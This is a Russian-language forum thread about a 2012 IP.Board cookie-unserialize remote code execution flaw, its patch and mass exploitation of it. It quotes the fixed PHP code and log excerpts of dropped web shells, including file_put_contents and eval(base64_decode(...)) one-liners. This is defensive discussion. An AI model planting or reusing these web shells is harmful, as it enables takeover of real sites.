Перейти к содержимому
Открыть в приложении

Удобный способ просмотра. Узнать больше.

Дизайн и модификация Invision Community

Полноэкранное приложение на главном экране с push-уведомлениями, медалями и многим другим.

Чтобы установить это приложение на iOS и iPadOS
  1. Нажмите иконку «Поделиться» в Safari
  2. Прокрутите меню и нажмите На экран «Домой».
  3. Нажмите Добавить в правом верхнем углу.
Чтобы установить это приложение на Android
  1. Нажмите меню из трёх точек (⋮) в правом верхнем углу браузера.
  2. Нажмите Добавить на главный экран или Установить приложение.
  3. Подтвердите, нажав Установить.
Русский язык для Invision Community 5

Security update

Рекомендованные сообщения

Что-то так лениво обновлять все форумы...

 

А в IBR работают бандерлоги - запихали свои функции в core.php, и этим добились несовместимости своего дистрибутива с английским. Положили бы свои сео-функции в constants.php, а переназначение ЧПУ - сделали бы хуком, и такой проблемы не было бы, и совместимость была бы полная.

Насколько я вижу, алгоритм простейший. В старом методе get класса IPSCookie выполнялось userialize для cookie, если она начиналась с 'a:'. Если подсунуть в cookie сериализованный объект, он разворачивался в инстанс, и код конструктора выполнялся. По сути это уязвимость вида "remote code execution" - очень серьезная дыра. Проблему решили добавлением проверки на наличие объекта в составе упакованного объекта - метод safeUnserialize в составе класса IPSLib:

	/**
* mixed safe_unserialize(string $serialized)
* Safely unserialize, that is only unserialize string, numbers and arrays, not objects
*
* @license Public Domain
* @author dcz (at) phpbb-seo (dot) com
*/
static public function safeUnserialize( $serialized )
{
	// unserialize will return false for object declared with small cap o
	// as well as if there is any ws between O and :
	if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
	{
		if ( strpos( $serialized, 'O:' ) === false )
		{
			 // the easy case, nothing to worry about
			 // let unserialize do the job
			 return @unserialize( $serialized );
		 }
		 else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
		 {
			 // in case we did have a string with O: in it,
			 // but it was not a true serialized object
			 return @unserialize( $serialized );
		 }
	 }

	 return false;
}

 

Эту проверку внедрили в метод get:

    /**
 * Get a cookie.
 * Abstract layer allows us to do some checking, etc
 *
 * @param	string		Cookie name
 * @return	mixed
 * @since	2.0
 */
  	static public function get($name)
{
	/* Check internal data first */
	if ( isset( self::$_cookiesSet[ $name ] ) )
	{
		return self::$_cookiesSet[ $name ];
	}
   	else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
   	{
		$_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

   		$_couldBeSerialized = stripslashes( urldecode( $_value ) );

   		if ( substr( $_couldBeSerialized, 0, 2 ) == 'a:' )
   		{ 
			return IPSLib::safeUnserialize( $_couldBeSerialized );
   		}
   		else
   		{
			return IPSText::parseCleanValue( urldecode( $_value ) );
   		}
   	}
   	else
   	{
   		return FALSE;
   	}
   }

Нас пропатчила только что английским патчем

Возможно, нас тоже пытались ломать.

  • Автор

Нда, посмотрел на пару школо-форумов, все поголовно с шеллами, на некоторых целый букет. Похоже уже начали ломать на автомате.

Подтверждаю. Один форум не пропатчил - десяток шеллов на нем уже лежит. Довольно серьезная дыра, создающая множество проблем.

 

Подобные проблемы заставляют задуматься об отказе от использования IP.Board...

Вот такие вот шеллы дропают:

 

d19d8a81069d77af4fccda594ddef321.php

==============================================================================
URL: /index.php/index.php
Date: Mon, 05 Nov 2012 20:31:41 +0000
IP Address: 74.208.213.252
Time Taken: 0.00022
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

37b5d35ddc8dd39b62ecfc0025fefb58.php

==============================================================================
URL: /index.php/forums/index.php
Date: Mon, 05 Nov 2012 20:32:02 +0000
IP Address: 74.208.213.252
Time Taken: 0.00021
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

Явно автобот работает.

Поступили кардинально. Вместо serialize/unserialize задействовали json_encode и json_decode. Чтобы применить патчи на русской версии, надо скачать английскую версию core.php, скопировать из нее и целиком заменить в русской класс:

/**
* IPSCookie
*
* This deals with saving and writing cookies
*/
class IPSCookie
{
...

 

Второй файл можно смело перезаписывать.

Вынесу тему в паблик, пожалуй. Тут ничего такого нет, а мне удобно ссылку давать.

Это просто жесть какая-то. На всех форумах, к которым у меня есть доступ, есть /cache/ - шелл.

 

Видимо, стремительно прошла вторая волна, уже обходящая первый патч. Вот спасибо IPS за счастливое детство. Закрываю все свои IP.Board форумы на карантин.

В большинстве случаев просто дропнули шелл и пошли дальше. Видимо, ботнет собирают.

Вариации шеллов:

 

/cache/cx.php

==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00022

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================
==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00021

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

/cache/cache.php

==============================================================================
=========================        END       ===================================
========================= /index.php?%3C?error_reporting(0);print(___);eval(base64_decode($_POST[HTTP]));die;?%3E ===================================
==============================================================================

Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)

  • Автор

Ритсука зачем палишь разновидности? :)

 

Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)

Обходится как два пальца.

Создайте аккаунт или войдите в него для комментирования

Аккаунт

Навигация

Поиск

Поиск

Настроить push-уведомления браузера

Chrome (Android)
  1. Нажмите на иконку замка рядом с адресной строкой.
  2. Нажмите Права доступа -> Уведомления.
  3. Измените свои настройки.
Chrome (компьютер)
  1. Нажмите на иконку замка в адресной строке.
  2. Выберите Настройки сайта.
  3. Найдите Уведомления и измените свои настройки.